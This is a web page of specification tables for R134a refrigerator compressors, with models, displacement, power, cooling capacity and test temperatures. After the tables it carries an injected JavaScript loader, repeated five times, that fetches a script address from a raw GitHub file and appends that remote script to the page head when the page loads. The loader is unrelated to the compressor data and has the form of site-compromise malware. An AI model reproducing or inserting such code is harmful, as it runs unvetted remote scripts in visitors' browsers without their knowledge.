Mbsm.pro, compressor, FFE20Y-AC, FE25YB2, FE25Y-AC, FE32YB2, FE32Y-AC, FE45YB2, EE62YC, EE71YB, EE70YC, EE79YC, FE20Y-BC, TRC-FE25Y, TRC-FE32Y, EE32Y-BC, FE40Y-B, EE40Y-BA, FE45Y-BC, EE67Y-B, EE80Y-B, EE96YB1N-E, EE79YC-E, CE96YB1N-E, EE70YC-F, EE96YB1N-F, CE96YB1N-F, r134a , LBP/MBP
R134a (refrigerator)
R134a LBP/MBP (refrigerator) | |||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Model | Theoretical exclusion amount (㎤) |
Rated output (W) |
Rated horsepower (HP) |
Starting method | Refrigeration capacity (W) | Operating coefficient (W/W) | Height (mm) |
Weight (kg) |
certification | ||||
(-23.3℃) | W/0RC | W/RC | |||||||||||
50Hz | 60Hz | 50Hz | 60Hz | 50Hz | 60Hz | ||||||||
Power Source(V/Hz) 100/ 100,110V; 50/ 60Hz | |||||||||||||
FE20Y-AC | 2.7 | 40 | 1/20 | RSIR | 55 | 0.80 | 151 | 6.1 | VPC | ||||
FE25YB2 | 3.3 | 60 | 1/12 | RSIR | 59 | 71 | 0.65 | 0.81 | 151 | 6.5 | VPC | ||
FE25Y-AC | 3.3 | 60 | 1/12 | RSIR | 75 | 0.90 | 151 | 6.1 | |||||
FE32YB2 | 3.9 | 75 | 1/10 | RSIR | 81 | 98 | 0.83 | 0.94 | 151 | 6.5 | VPC | ||
FE32Y-AC | 3.9 | 75 | 1/10 | RSIR | 92 | 1.00 | 151 | 6.1 | |||||
FE45YB2 | 4.9 | 100 | 1/8 | RSIR | 114 | 137 | 0.94 | 1.13 | 151 | 6.7 | VPC | ||
EE62YC | 6.2 | 150 | 1/8 | RSCR | 205 | 1.37 | 171 | 8.3 | |||||
EE71YB | 6.7 | 160 | 1/8 | RSCR | 166 | 200 | 1.27 | 1.36 | 171 | 7.3 | VPC | ||
EE70YC | 7.0 | 190 | 1/4 | RSCR | 193 | 231 | 1.30 | 1.30 | 171 | 7.7 | VPC | ||
EE79YC | 7.9 | 230 | 1/4 | RSCR | 224 | 269 | 1.35 | 1.35 | 171 | 7.7 | VPC | ||
Power Source (V/Hz) 110/ 115,120V; 50/ 60Hz | |||||||||||||
FE20Y-BC | 2.7 | 45 | 1/20 | RSIR | 55 | 0.80 | 151 | 6.1 | UL | ||||
TRC-FE25Y | 3.3 | 60 | 1/12 | RSIR | 56 | 72 | 0.65 | 0.81 | 151 | 6.5 | UL | ||
TRC-FE32Y | 3.9 | 75 | 1/10 | RSIR | 78 | 95 | 0.83 | 0.94 | 151 | 6.5 | UL | ||
EE32Y-BC | 3.9 | 75 | 1/10 | RSCR | 92 | 1.08 | 151 | 6.1 | |||||
FE40Y-B | 4.4 | 90 | 1/8 | RSIR | 92 | 110 | 0.95 | 1.03 | 151 | 6.7 | UL | ||
EE40Y-BA | 4.4 | 90 | 1/8 | RSCR | 120 | 1.20 | 161 | 6.3 | |||||
FE45Y-BC | 4.9 | 100 | 1/10 | RSIR | 128 | 1.04 | 161 | 6.3 | |||||
EE67Y-B | 6.2 | 150 | 1/5 | RSCR | 204 | 215 | 1.25 | 1.22 | 171 | 8.1 | |||
EE80Y-B | 7.0 | 180 | 1/4 | RSCR | 232 | 1.26 | 171 | 8.1 | |||||
Power Source(V/Hz) 220-240V; 50Hz | |||||||||||||
EE96YB1N-E | 7.9 | 230 | 1/4 | RSCR | 224 | 1.33 | 171 | 7.9 | TUV | ||||
EE79YC-E | 7.9 | 230 | 1/4 | RSCR | 227 | 1.40 | 171 | 8.3 | |||||
CE96YB1N-E | 7.9 | 230 | 1/4 | CSR | 224 | 1.33 | 171 | 7.9 | |||||
Power Source(V/Hz) 220V; 60Hz | |||||||||||||
EE70YC-F | 7.0 | 190 | 1/4 | RSCR | 231 | 1.30 | 171 | 7.7 | |||||
EE96YB1N-F | 7.9 | 230 | 1/4 | RSCR | 269 | 1.44 | 171 | 7.9 | |||||
CE96YB1N-F | 7.9 | 230 | 1/4 | CSR | 269 | 1.44 | 171 | 7.9 |
For low temperature | For high temperature | |
---|---|---|
condensation temperature | 54.4℃ | 54.4℃ |
evaporation temperature | -23.3℃ | 7.2℃ |
Suction gas temperature | 32.2℃ | 35℃ |
Expansion valve total temperature | 32.2℃ | 46.1℃ |
ambient temperature | 32.2℃ | 32.2℃ |
;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});